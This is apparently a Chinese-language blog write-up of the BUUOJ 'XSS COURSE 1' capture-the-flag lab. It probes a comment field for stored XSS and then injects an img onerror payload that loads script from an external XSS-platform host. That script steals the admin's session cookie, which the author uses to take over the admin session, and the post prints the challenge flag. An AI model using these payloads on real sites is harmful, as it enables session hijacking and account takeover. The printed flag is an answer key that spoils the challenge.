web-buuoj-(BUU XSS COURSE1)


一、题面

地址:https://buuoj.cn/challenges#BUU%20XSS%20COURSE%201

题面:

主要有两个功能,“吐槽”和“登录”。

二、核心思路

本关既然考察xss,那么核心思路就是:

1)通过在留言处注入xss攻击代码;

2)然后等待管理员访问留言,触发xss攻击代码的执行;

3)盗取管理员的登录凭据,进而登录后台。

三、解题

3.1 漏洞探测

  • 提交12345数据。
  • 访问留言内容

测试几次发现每次保存的链接都会不一样。

留言内容会插入在一个span标签中。

  • 测试XSS POC
<script " ' Oonn>
<script>alert(1)</script>

自动添加了script闭合标签。

script脚本插入成功了但是没有被执行,没有出现弹窗。

<img src=x onerror=alert(1)>

成功触发xss代码的执行。

<img src=x onmouseover=alert(1)>

使用img标签成功触发xss代码的执行。

说明目标存在存储型的XSS漏洞。

3.2 漏洞利用

3.2.1 xss平台

3.2.2 利用过程

  • 创建项目
  • 配置项目

一般情况下选择超强默认模块即可。

  • 查看payload

点击查看代码,查看payload。

根据情况选择适合的payload插入到存在xss漏洞的位置即可。针对本题目,选择了上面高亮的payload:

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//uj.ci/bok';>
  • 插入payload

可以看到代码被成功插入。

  • 盗取cookie

当后台管理员访问我们的留言时,触发xss代码的执行,上线xss平台。

可以看到管理员的敏感信息已经被我们获取到了,包括:

cookie : PHPSESSID=1b0db00bb2d687b7bf520ae8e22e05e4 【管理员的cookie】
HTTP_REFERER : http://web/backend/admin.php 【后台页面】
  • 冒充管理员登录

当使用当前的PHPSESSID尝试访问管理员页面时:

提示没有登录。

这是我们目前的PHPSESSID值。

将PHPSESSID的值修改为1b0db00bb2d687b7bf520ae8e22e05e4,也就是管理员的cookie。

然后访问后台页面:/backend/admin.php

发现能够成功访问回台并获取flag。

3.3 Flag

flag{bdc5ff12-2c30-4bba-8777-8a617f70c93a}

总结

本文主要基于buuoj平台的(BUU XSS COURSE1)题目来实践存储型XSS漏洞的挖掘与利用过程。整个过程包括几个核心点:1)漏洞探测、2)通过xss平台构建payload 、3)盗取管理员的凭据、4)冒充管理登录后台。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录